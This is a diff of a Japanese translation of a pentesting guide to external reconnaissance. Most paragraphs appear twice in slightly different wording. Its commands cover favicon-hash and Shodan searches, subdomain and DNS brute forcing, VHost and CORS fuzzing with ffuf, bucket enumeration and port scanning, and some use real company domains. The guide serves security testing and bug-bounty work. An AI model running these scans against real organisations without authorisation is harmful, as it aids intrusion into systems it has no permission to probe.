私たちのターゲットに関連するドメインやサブドメインを、同じファビコンアイコンハッシュを探して見つけることができることを知っていましたか?これが、[@m4ll0k2](https://twitter.com/m4ll0k2)によって作成された[favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py)ツールが行うことです。以下は、その使用方法です:
|
||||
```bash
|
||||
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
|
||||
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
||||
|
@ -137,11 +137,11 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
|||
|
||||
単純に言えば、favihashを使用すると、ターゲットと同じファビコンアイコンハッシュを持つドメインを発見できます。
|
||||
|
||||
さらに、[**このブログ投稿**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139)で説明されているように、ファビコンハッシュを使用して技術を検索することもできます。つまり、脆弱なウェブテクノロジーのバージョンのファビコンのハッシュを知っている場合、shodanで検索して**より多くの脆弱な場所を見つける**ことができます。
|
||||
さらに、[**このブログ投稿**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139)で説明されているように、ファビコンハッシュを使用して技術を検索することもできます。つまり、脆弱なWebテクノロジーのバージョンのファビコンのハッシュを知っている場合、shodanで検索して**より多くの脆弱な場所を見つける**ことができます。
|
||||
```bash
|
||||
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
||||
```
|
||||
これは、ウェブのファビコンハッシュを計算する方法です:
|
||||
これは、ウェブの**ファビコンハッシュを計算する方法**です:
|
||||
```python
|
||||
import mmh3
|
||||
import requests
|
||||
|
@ -156,35 +156,35 @@ return fhash
|
|||
```
|
||||
### **著作権 / ユニークな文字列**
|
||||
|
||||
同じ組織内の異なるウェブ間で共有される可能性のある**文字列**をウェブページ内で検索します。**著作権文字列**は良い例です。その後、その文字列を**Google**、他の**ブラウザ**、または**Shodan**で検索します: `shodan search http.html:"著作権文字列"`
|
||||
同じ組織内の異なるウェブ間で共有される可能性のある文字列をウェブページ内で検索します。著作権文字列は良い例です。その文字列を**Google**、他の**ブラウザ**、または**Shodan**で検索します: `shodan search http.html:"Copyright string"`
|
||||
|
||||
### **CRT 時間**
|
||||
|
||||
次のようなクーロンジョブを持つのは一般的です。
|
||||
次のようなクーロンジョブを持つことが一般的です。
|
||||
```bash
|
||||
# /etc/crontab
|
||||
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
|
||||
```
|
||||
### **外部リコン手法**
|
||||
|
||||
サーバー上のすべてのドメイン証明書を更新します。これは、このために使用されるCAが生成された時間を有効期間内に設定していなくても、**証明書透明性ログで同じ会社に属するドメインを見つけることができる**可能性があります。\
|
||||
サーバー上のすべてのドメイン証明書を更新します。これは、このために使用されるCAが生成された時間を有効期間内に設定していなくても、**証明書透明性ログで同じ会社に属するドメインを見つけることが可能**です。\
|
||||
詳細については、[**こちらの解説**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/)をご覧ください。
|
||||
|
||||
### **パッシブな乗っ取り**
|
||||
|
||||
クラウドプロバイダーに属するIPにサブドメインを割り当て、そのIPアドレスをいつの間にか失い、DNSレコードを削除するのを忘れることが一般的です。そのため、クラウド(たとえばDigital Ocean)でVMを**起動**するだけで、実際にはいくつかのサブドメインを**乗っ取ることができます**。
|
||||
クラウドプロバイダーに属するIPにサブドメインを割り当て、そのIPアドレスをいつの間にか**失い、DNSレコードを削除し忘れる**ことが一般的です。そのため、クラウド(たとえばDigital Ocean)でVMを**起動**するだけで、実際にはいくつかのサブドメインを**乗っ取ることができます**。
|
||||
|
||||
[**この投稿**](https://kmsec.uk/blog/passive-takeover/)では、そのストアについて説明し、**DigitalOceanでVMを起動**し、新しいマシンの**IPv4**を取得し、それを指すサブドメインレコードをVirustotalで検索するスクリプトを提案しています。
|
||||
[**この投稿**](https://kmsec.uk/blog/passive-takeover/)では、そのストーリーを説明し、**DigitalOceanでVMを起動**し、新しいマシンの**IPv4**を取得し、Virustotalでそれを指すサブドメインレコードを検索するスクリプトを提案しています。
|
||||
|
||||
### **その他の方法**
|
||||
|
||||
**新しいドメインを見つけるたびに、この手法を使用してさらに多くのドメイン名を発見できることに注意してください。**
|
||||
**新しいドメインを見つけるたびに、この手法を使用できることに注意してください**。
|
||||
|
||||
**Shodan**
|
||||
|
||||
すでにIPスペースを所有している組織の名前を知っている場合、そのデータでshodanで検索できます: `org:"Tesla, Inc."` TLS証明書で新しい予期しないドメインを見つけるために見つかったホストをチェックしてください。
|
||||
すでにIPスペースを所有している組織の名前を知っている場合、そのデータでshodanで検索できます: `org:"Tesla, Inc."` TLS証明書で新しい予期しないドメインを見つけるために、見つかったホストをチェックしてください。
|
||||
|
||||
主要なWebページの**TLS証明書**にアクセスし、**組織名**を取得してから、**shodan**で知られているすべてのWebページの**TLS証明書**内でその名前を検索するか、フィルターを使用してください: `ssl:"Tesla Motors"` または[**sslsearch**](https://github.com/HarshVaragiya/sslsearch)のようなツールを使用してください。
|
||||
主要なWebページの**TLS証明書**にアクセスし、**組織名**を取得し、その名前を持つ**すべてのWebページのTLS証明書**内でshodanで検索するか、`ssl:"Tesla Motors"`のフィルタを使用するか、[**sslsearch**](https://github.com/HarshVaragiya/sslsearch)のようなツールを使用できます。
|
||||
|
||||
**Assetfinder**
|
||||
|
||||
|
@ -192,19 +192,19 @@ return fhash
|
|||
|
||||
### **脆弱性の検索**
|
||||
|
||||
[ドメイン乗っ取り](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover)をチェックしてください。会社が**ドメインを使用している**が**所有権を失っている**可能性があります。安価であれば登録して、会社に通知してください。
|
||||
[ドメイン乗っ取り](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover)をチェックしてください。会社が**ドメインを使用している**が**所有権を失っている**可能性があります。安価であれば登録し、会社に通知してください。
|
||||
|
||||
アセットの発見で見つけたIPとは異なる**IPを持つドメイン**を見つけた場合、**基本的な脆弱性スキャン**(NessusやOpenVASを使用)と**nmap/masscan/shodan**での[**ポートスキャン**](../pentesting-network/#discovering-hosts-from-the-outside)を実行する必要があります。実行されているサービスに応じて、**この書籍でそれらを"攻撃"するためのトリック**を見つけることができます。\
|
||||
アセットの発見で見つけたIPとは異なる**ドメインを持つドメイン**を見つけた場合、**基本的な脆弱性スキャン**(NessusまたはOpenVASを使用)と**nmap/masscan/shodan**での一部の[**ポートスキャン**](../pentesting-network/#discovering-hosts-from-the-outside)を実行する必要があります。実行されているサービスに応じて、**この書籍でそれらを"攻撃"するためのトリック**を見つけることができます。\
|
||||
_ドメインがクライアントによって制御されていないIP内にホストされている場合があるため、スコープ外にあることに注意してください。_
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。ハッカーによって作成されたプレミアム**バグバウンティプラットフォーム**!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)で参加し、最大**$100,000**のバウンティを獲得し始めましょう!
|
||||
**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、ハッカーによって作成されたプレミアム**バグバウンティプラットフォーム**です!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)で参加し、最大**$100,000**のバウンティを獲得し始めましょう!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
## サブドメイン
|
||||
|
||||
> スコープ内のすべての企業、各企業のすべてのアセット、および企業に関連するすべてのドメインを知っています。
|
||||
> スコープ内のすべての企業、各企業のすべての資産、および企業に関連するすべてのドメインを知っています。
|
||||
|
||||
見つかった各ドメインのすべての可能なサブドメインを見つける時が来ました。
|
||||
|
||||
|
@ -267,7 +267,7 @@ theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferov
|
|||
```
|
||||
以下は、サブドメインを直接的に特定することに特化していなくても、サブドメインを見つけるのに役立つ**他の興味深いツール/API**があります:
|
||||
|
||||
- [**Crobat**](https://github.com/cgboal/sonarsearch)**:** サブドメインを取得するためにAPI [https://sonar.omnisint.io](https://sonar.omnisint.io) を使用
|
||||
- [**Crobat**](https://github.com/cgboal/sonarsearch)**:** サブドメインを取得するためにAPI [https://sonar.omnisint.io](https://sonar.omnisint.io) を使用します
|
||||
```bash
|
||||
# Get list of subdomains in output from the API
|
||||
## This is the API the crobat tool will use
|
||||
|
@ -302,7 +302,7 @@ crt tesla.com
|
|||
# Get subdomains from GAUs found URLs
|
||||
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
|
||||
```
|
||||
* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): 彼らはWebをスクラップし、JSファイルを探し、その中からサブドメインを抽出します。
|
||||
* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): 彼らはWebをスクレイピングし、JSファイルからサブドメインを抽出します。
|
||||
```bash
|
||||
# Get only subdomains from SubDomainizer
|
||||
python3 SubDomainizer.py -u https://tesla.com | grep tesla.com
|
||||
|
@ -327,16 +327,16 @@ python3 censys-subdomain-finder.py tesla.com
|
|||
```bash
|
||||
python3 DomainTrail.py -d example.com
|
||||
```
|
||||
* [**securitytrails.com**](https://securitytrails.com/) はサブドメインやIP履歴を検索するための無料APIを提供しています
|
||||
* [**securitytrails.com**](https://securitytrails.com/) はサブドメインやIPの履歴を検索するための無料APIを提供しています
|
||||
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
|
||||
|
||||
このプロジェクトは、**バグバウンティプログラムに関連するすべてのサブドメインを無料で提供**しています。このデータには、[chaospy](https://github.com/dr-0x0x/chaospy)を使用したり、このプロジェクトで使用されているスコープにアクセスすることもできます [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
||||
|
||||
これらのツールの**比較**をここで見つけることができます: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
|
||||
これらのツールの**比較**をこちらで見つけることができます: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
|
||||
|
||||
### **DNSブルートフォース**
|
||||
|
||||
可能なサブドメイン名を使用してDNSサーバーをブルートフォースし、新しい**サブドメイン**を見つけることを試してみましょう。
|
||||
可能なサブドメイン名を使用してDNSサーバーをブルートフォースし、新しい**サブドメイン**を見つけてみましょう。
|
||||
|
||||
このアクションには、次のような**一般的なサブドメインのワードリスト**が必要です:
|
||||
|
||||
|
@ -346,7 +346,7 @@ python3 DomainTrail.py -d example.com
|
|||
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
|
||||
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
|
||||
|
||||
さらに、信頼できるDNSリゾルバのIPアドレスも必要です。信頼できるDNSリゾルバのリストを生成するには、[https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) からリゾルバをダウンロードし、[**dnsvalidator**](https://github.com/vortexau/dnsvalidator) を使用してフィルタリングします。または、[https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) を使用することもできます。
|
||||
さらに、信頼できるDNSリゾルバのIPも必要です。信頼できるDNSリゾルバのリストを生成するには、[https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) からリゾルバをダウンロードし、それらをフィルタリングするために [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) を使用するか、[https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) を使用することができます
|
||||
|
||||
DNSブルートフォースに最も推奨されるツールは次のとおりです:
|
||||
|
||||
|
@ -360,7 +360,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
|
|||
```
|
||||
gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
||||
```
|
||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) は、有効なサブドメインを列挙するためのアクティブなブルートフォースを使用し、ワイルドカード処理と簡単な入出力サポートを備えた、`massdns` のラッパーであり、Go言語で書かれています。
|
||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) は、`massdns` をラップしたもので、有効なサブドメインをアクティブなブルートフォースを使用して列挙し、ワイルドカード処理と簡単な入出力サポートを備えています。Go言語で書かれています。
|
||||
```
|
||||
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
||||
```
|
||||
|
@ -368,43 +368,43 @@ shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
|||
```
|
||||
puredns bruteforce all.txt domain.com
|
||||
```
|
||||
* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute)は、ドメイン名を非同期で総当たり攻撃するためにasyncioを使用します。
|
||||
* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute)は、非同期でドメイン名を総当たり攻撃するためにasyncioを使用します。
|
||||
```
|
||||
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
|
||||
```
|
||||
### 第二のDNSブルートフォースラウンド
|
||||
### 第2のDNSブルートフォースラウンド
|
||||
|
||||
オープンソースやブルートフォースを使用してサブドメインを見つけた後、見つかったサブドメインの変更を生成してさらに見つけることができます。この目的にはいくつかのツールが役立ちます:
|
||||
|
||||
- [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** ドメインとサブドメインを与えられた場合、順列を生成します。
|
||||
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** ドメインとサブドメインを与えられた場合、順列を生成します。
|
||||
```bash
|
||||
cat subdomains.txt | dnsgen -
|
||||
```
|
||||
* [**goaltdns**](https://github.com/subfinder/goaltdns): ドメインとサブドメインを与えられた場合、順列を生成します。
|
||||
* goaltdnsの順列の**ワードリスト**は[**こちら**](https://github.com/subfinder/goaltdns/blob/master/words.txt)から入手できます。
|
||||
* goaltdnsの順列の**ワードリスト**は[**こちら**](https://github.com/subfinder/goaltdns/blob/master/words.txt)で入手できます。
|
||||
```bash
|
||||
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
|
||||
```
|
||||
* [**gotator**](https://github.com/Josue87/gotator)**:** ドメインとサブドメインが与えられた場合、順列を生成します。順列ファイルが指定されていない場合、gotator は独自のファイルを使用します。
|
||||
* [**gotator**](https://github.com/Josue87/gotator)**:** ドメインとサブドメインを与えられた場合、順列を生成します。順列ファイルが指定されていない場合、gotatorは独自のファイルを使用します。
|
||||
```
|
||||
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
||||
```
|
||||
* [**altdns**](https://github.com/infosec-au/altdns): サブドメインの順列を生成するだけでなく、それらを解決しようともします(ただし、以前にコメントされたツールを使用する方が良いです)。
|
||||
* altdnsの順列の**ワードリスト**は[**こちら**](https://github.com/infosec-au/altdns/blob/master/words.txt)で入手できます。
|
||||
* altdnsの順列は[**こちら**](https://github.com/infosec-au/altdns/blob/master/words.txt)で入手できます。
|
||||
```
|
||||
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
||||
```
|
||||
* [**dmut**](https://github.com/bp0lr/dmut): サブドメインの順列、変異、変更を実行する別のツール。このツールは結果を総当たり攻撃します(dnsワイルドカードはサポートされていません)。
|
||||
* [**こちら**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt)からdmutの順列ワードリストを入手できます。
|
||||
* [**dmut**](https://github.com/bp0lr/dmut): サブドメインの順列、変異、変更を実行する別のツール。このツールは結果を総当たり攻撃します(DNSワイルドカードはサポートされていません)。
|
||||
* dmutの順列ワードリストは[**こちら**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt)で入手できます。
|
||||
```bash
|
||||
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
||||
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
|
||||
```
|
||||
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** ドメインに基づいて、指定されたパターンに基づいて新しい潜在的なサブドメイン名を生成し、より多くのサブドメインを発見しようとします。
|
||||
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** ドメインに基づいて、指定されたパターンに基づいて新しい潜在的なサブドメイン名を生成し、さらに多くのサブドメインを発見しようとします。
|
||||
|
||||
#### スマートな順列生成
|
||||
|
||||
* [**regulator**](https://github.com/cramppet/regulator): 詳細については、この[**post**](https://cramppet.github.io/regulator/index.html)を読んでくださいが、基本的には**発見されたサブドメイン**から**主要な部分**を取得し、それらを混ぜてさらに多くのサブドメインを見つけます。
|
||||
* [**regulator**](https://github.com/cramppet/regulator): 詳細については、この[**post**](https://cramppet.github.io/regulator/index.html)を読んでくださいが、基本的には**発見されたサブドメイン**から**主要な部分**を取得し、それらを混ぜてさらに多くのサブドメインを見つけようとします。
|
||||
```bash
|
||||
python3 main.py adobe.com adobe adobe.rules
|
||||
make_brute_list.sh adobe.rules adobe.brute
|
||||
|
@ -414,7 +414,7 @@ puredns resolve adobe.brute --write adobe.valid
|
|||
```
|
||||
echo www | subzuf facebook.com
|
||||
```
|
||||
### **サブドメイン発見のワークフロー**
|
||||
### **サブドメイン発見ワークフロー**
|
||||
|
||||
このブログ記事をチェックしてください。**Trickestワークフロー**を使用してドメインから**サブドメインの発見を自動化**する方法について書いています。これにより、コンピュータで手動で多くのツールを起動する必要がなくなります。
|
||||
|
||||
|
@ -424,15 +424,15 @@ echo www | subzuf facebook.com
|
|||
|
||||
### **VHosts / バーチャルホスト**
|
||||
|
||||
サブドメインに属する**1つ以上のウェブページを含むIPアドレス**を見つけた場合、そのIP内の他のサブドメインを探すことができます。これは、IP内のドメインを検索するために**OSINTソース**を調べるか、そのIP内のVHostドメイン名を**ブルートフォース**で探すことができます。
|
||||
サブドメインに属する**1つ以上のウェブページを含むIPアドレス**を見つけた場合、そのIP内の他のサブドメインを見つけることができます。これは、IP内のドメインを検索するか、**そのIP内のVHostドメイン名をブルートフォースする**ことで行うことができます。
|
||||
|
||||
#### OSINT
|
||||
|
||||
[**HostHunter**](https://github.com/SpiderLabs/HostHunter) **や他のAPI**を使用して、IP内の**VHostを見つける**ことができます。
|
||||
[**HostHunter**](https://github.com/SpiderLabs/HostHunter) **やその他のAPI**を使用して、IP内の**VHostを見つける**ことができます。
|
||||
|
||||
**ブルートフォース**
|
||||
|
||||
Webサーバーに隠されている可能性があるサブドメインがあると疑っている場合、ブルートフォースで試すことができます。
|
||||
Webサーバーに隠されている可能性があるサブドメインがあると疑っている場合、ブルートフォースしてみることができます。
|
||||
```bash
|
||||
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
|
||||
|
||||
|
@ -452,53 +452,53 @@ VHostScan -t example.com
|
|||
|
||||
### **CORS Brute Force**
|
||||
|
||||
時々、有効なドメイン/サブドメインが _**Origin**_ ヘッダーに設定されている場合にのみ _**Access-Control-Allow-Origin**_ ヘッダーを返すページが見つかります。このようなシナリオでは、この動作を悪用して新しい **サブドメイン** を**発見**することができます。
|
||||
時々、有効なドメイン/サブドメインが _**Origin**_ ヘッダーに設定されている場合にのみ、_**Access-Control-Allow-Origin**_ ヘッダーを返すページが見つかります。 これらのシナリオでは、この動作を悪用して、新しい **サブドメイン** を**発見**することができます。
|
||||
```bash
|
||||
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
|
||||
```
|
||||
### **バケットのブルートフォース**
|
||||
### Buckets Brute Force
|
||||
|
||||
**サブドメイン**を探している間に、それがどの種類の**バケット**を指しているかを確認し、その場合は[**権限をチェック**](../../network-services-pentesting/pentesting-web/buckets/)**してください。**\
|
||||
また、この時点でスコープ内のすべてのドメインを把握しているため、[**可能なバケット名をブルートフォースし、権限をチェック**](../../network-services-pentesting/pentesting-web/buckets/)してください。
|
||||
**サブドメイン**を探している間に、それがどの種類の**バケット**を**指しているか**を確認し、その場合は[**権限をチェック**](../../network-services-pentesting/pentesting-web/buckets/)**してください**。\
|
||||
また、この時点でスコープ内のすべてのドメインを知っているため、[**可能なバケット名をブルートフォースし、権限をチェック**](../../network-services-pentesting/pentesting-web/buckets/)してください。
|
||||
|
||||
### **モニタリング**
|
||||
### モニタリング
|
||||
|
||||
**ドメイン**の**新しいサブドメイン**が作成されたかどうかを**モニタリング**することができます。**Certificate Transparency**ログを監視することで、[**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)が行います。
|
||||
**ドメイン**の**新しいサブドメイン**が作成されたかどうかを**モニタリング**することができます。[**Certificate Transparency**ログを監視することで、[**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)が行います。
|
||||
|
||||
### **脆弱性の探索**
|
||||
### 脆弱性の探索
|
||||
|
||||
可能な[**サブドメインテイクオーバー**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)をチェックしてください。\
|
||||
**サブドメイン**が**S3バケット**を指している場合は、[**権限をチェック**](../../network-services-pentesting/pentesting-web/buckets/)してください。
|
||||
サブドメインが**S3バケット**を指している場合は、[**権限をチェック**](../../network-services-pentesting/pentesting-web/buckets/)してください。
|
||||
|
||||
アセットの発見で見つけたIPと異なるIPを持つ**サブドメイン**を見つけた場合、**基本的な脆弱性スキャン**(NessusまたはOpenVASを使用)と**nmap/masscan/shodan**を使用した[**ポートスキャン**](../pentesting-network/#discovering-hosts-from-the-outside)を実行する必要があります。実行されているサービスに応じて、**この書籍でそれらを"攻撃"するためのトリック**を見つけることができます。\
|
||||
アセットの発見で見つけたIPと異なるIPを持つ**サブドメイン**を見つけた場合、**基本的な脆弱性スキャン**(NessusまたはOpenVASを使用)と**ポートスキャン**(**nmap/masscan/shodan**を使用)を実行する必要があります。実行されているサービスに応じて、**この書籍でそれらを"攻撃"するためのトリック**を見つけることができます。\
|
||||
_サブドメインがクライアントによって制御されていないIP内にホストされている場合があるため、スコープ外にある可能性があることに注意してください。_
|
||||
|
||||
## IPs
|
||||
|
||||
初期段階で**いくつかのIP範囲、ドメイン、およびサブドメイン**を見つけたかもしれません。\
|
||||
これらの範囲から**すべてのIPを再収集**し、**ドメイン/サブドメイン(DNSクエリ)**を行う時がきました。
|
||||
これらの範囲から**すべてのIP**と**ドメイン/サブドメイン(DNSクエリ)**を再収集する時が来ました。
|
||||
|
||||
以下の**無料API**を使用すると、ドメインとサブドメインが以前に使用したIPを見つけることもできます。これらのIPはクライアントが所有している可能性があり([**CloudFlareのバイパス**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)を見つけることができるかもしれません)
|
||||
|
||||
* [**https://securitytrails.com/**](https://securitytrails.com/)
|
||||
|
||||
また、ツール[hakip2host](https://github.com/hakluke/hakip2host)を使用して特定のIPアドレスを指すドメインをチェックすることもできます。
|
||||
また、ツール[**hakip2host**](https://github.com/hakluke/hakip2host)を使用して特定のIPアドレスを指すドメインをチェックすることもできます。
|
||||
|
||||
### **脆弱性の探索**
|
||||
### 脆弱性の探索
|
||||
|
||||
CDNに属さないすべてのIPに**ポートスキャン**を実行してください(そこに興味深いものはほとんど見つからない可能性が高いです)。発見された実行中のサービスで**脆弱性を見つける**ことができるかもしれません。
|
||||
CDNに属さないすべてのIPに**ポートスキャン**を実行してください(そこに興味深いものはほとんど見つからない可能性が高いため)。発見された実行中のサービスで**脆弱性を見つける**ことができるかもしれません。
|
||||
|
||||
**ホストをスキャンする方法についての**[**ガイド**](../pentesting-network/) **を見つけてください。**
|
||||
|
||||
## Webサーバーの探索
|
||||
|
||||
> すべての企業とその資産を見つけ、スコープ内のIP範囲、ドメイン、およびサブドメインを把握しています。Webサーバーを検索する時がきました。
|
||||
> すべての企業とその資産を見つけ、スコープ内のIP範囲、ドメイン、およびサブドメインを知っています。Webサーバーを検索する時が来ました。
|
||||
|
||||
前のステップでおそらくすでに発見したIPとドメインの**調査**を実行しているかもしれませんので、**すでに可能なWebサーバーをすべて見つけているかもしれません**。しかし、まだ見つけていない場合は、スコープ内のWebサーバーを検索するための**高速なトリック**を見ていきます。
|
||||
前のステップでおそらくすでに発見したIPとドメインの**調査**を実行しているかもしれませんので、**すでに可能なすべてのWebサーバー**を見つけているかもしれません。しかし、まだ見つけていない場合は、スコープ内のWebサーバーを検索するための**高速なトリック**を見ていきます。
|
||||
|
||||
これは**Webアプリの発見**に向けられているため、スコープ内で**脆弱性**と**ポートスキャン**も実行する必要があります(**スコープ内で許可されている場合**)。
|
||||
|
||||
[**masscanを使用して**関連する**Web**サーバーの**オープンポートを発見する**高速な方法はこちらにあります](../pentesting-network/#http-port-discovery)。\
|
||||
[**masscanを使用して**関連する**Web**サーバーに**オープンポート**を発見する高速な方法はこちらにあります](../pentesting-network/#http-port-discovery)。\
|
||||
Webサーバーを探すためのもう1つの便利なツールは[**httprobe**](https://github.com/tomnomnom/httprobe)**、**[**fprobe**](https://github.com/theblackturtle/fprobe)、および[**httpx**](https://github.com/projectdiscovery/httpx)です。ドメインのリストを渡すと、ポート80(http)および443(https)に接続しようとします。さらに、他のポートを試すように指示することもできます。
|
||||
```bash
|
||||
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
||||
|
@ -506,37 +506,35 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||
```
|
||||
### **スクリーンショット**
|
||||
|
||||
スコープ内の企業のIPアドレスやすべてのドメインとサブドメインの中に存在する**すべてのWebサーバー**を発見したので、**どこから始めればいいかわからない**かもしれません。ですので、単純にすべてのWebサーバーのスクリーンショットを撮影してみましょう。**メインページ**を見るだけで、**脆弱性**が**より高い**奇妙なエンドポイントを見つけることができます。
|
||||
スコープ内のすべてのWebサーバー(企業のIPアドレス、すべてのドメイン、サブドメインの中のIPアドレス)を発見したので、**どこから始めればよいかわからない**かもしれません。ですので、単純にすべてのWebサーバーのスクリーンショットを撮影してみましょう。**メインページ**を見るだけで、**脆弱性を抱えやすい**と考えられる**奇妙な**エンドポイントを見つけることができます。
|
||||
|
||||
提案されたアイデアを実行するために、[**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness)、[**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot)、[**Aquatone**](https://github.com/michenriksen/aquatone)、[**Shutter**](https://shutter-project.org/downloads/third-party-packages/)、または[**webscreenshot**](https://github.com/maaaaz/webscreenshot)を使用できます。
|
||||
提案されたアイデアを実行するために、[**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness)、[**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot)、[**Aquatone**](https://github.com/michenriksen/aquatone)、[**Shutter**](https://shutter-project.org/downloads/third-party-packages/)、または[**webscreenshot**](https://github.com/maaaaz/webscreenshot)**を使用**できます。
|
||||
|
||||
さらに、その後に[**eyeballer**](https://github.com/BishopFox/eyeballer)を使用して、**スクリーンショット**全体を実行し、**脆弱性を含む可能性が高いもの**とそうでないものを特定できます。
|
||||
さらに、[**eyeballer**](https://github.com/BishopFox/eyeballer)を使用して、**スクリーンショット**全体を実行し、**脆弱性を含む可能性が高い**ものとそうでないものを教えてもらうことができます。
|
||||
|
||||
## パブリッククラウド資産
|
||||
|
||||
企業に属する潜在的なクラウド資産を見つけるためには、その企業を識別するためのキーワードのリストから始める必要があります。たとえば、暗号通貨企業の場合、"crypto"、"wallet"、"dao"、"<domain_name>"、<"subdomain_names">などの単語を使用するかもしれません。
|
||||
|
||||
また、バケツで使用される**一般的な単語のワードリスト**が必要です:
|
||||
また、**バケツで使用される一般的な単語のワードリスト**が必要です:
|
||||
|
||||
- [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
|
||||
- [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
|
||||
- [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
|
||||
|
||||
その後、これらの単語を使用して**順列**を生成する必要があります(詳細は[**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round)を参照)。
|
||||
その単語を使用して**順列**を生成し、[**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round)をチェックしてください。
|
||||
|
||||
生成されたワードリストを使用して、[**cloud\_enum**](https://github.com/initstring/cloud\_enum)、[**CloudScraper**](https://github.com/jordanpotti/CloudScraper)、[**cloudlist**](https://github.com/projectdiscovery/cloudlist)、または[**S3Scanner**](https://github.com/sa7mon/S3Scanner)などのツールを使用できます。
|
||||
生成されたワードリストを使用して、[**cloud\_enum**](https://github.com/initstring/cloud\_enum)**、[**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**、[**cloudlist**](https://github.com/projectdiscovery/cloudlist)、または[**S3Scanner**](https://github.com/sa7mon/S3Scanner)**などのツールを使用**できます。
|
||||
|
||||
クラウド資産を探す際には、**AWSのバケツだけでなく**、他のものも探す必要があります。
|
||||
|
||||
### **脆弱性を探す**
|
||||
|
||||
**オープンバケツや公開されたクラウド関数**などが見つかった場合は、それらに**アクセス**して、提供されている内容を確認し、悪用できるかどうかを試してみてください。
|
||||
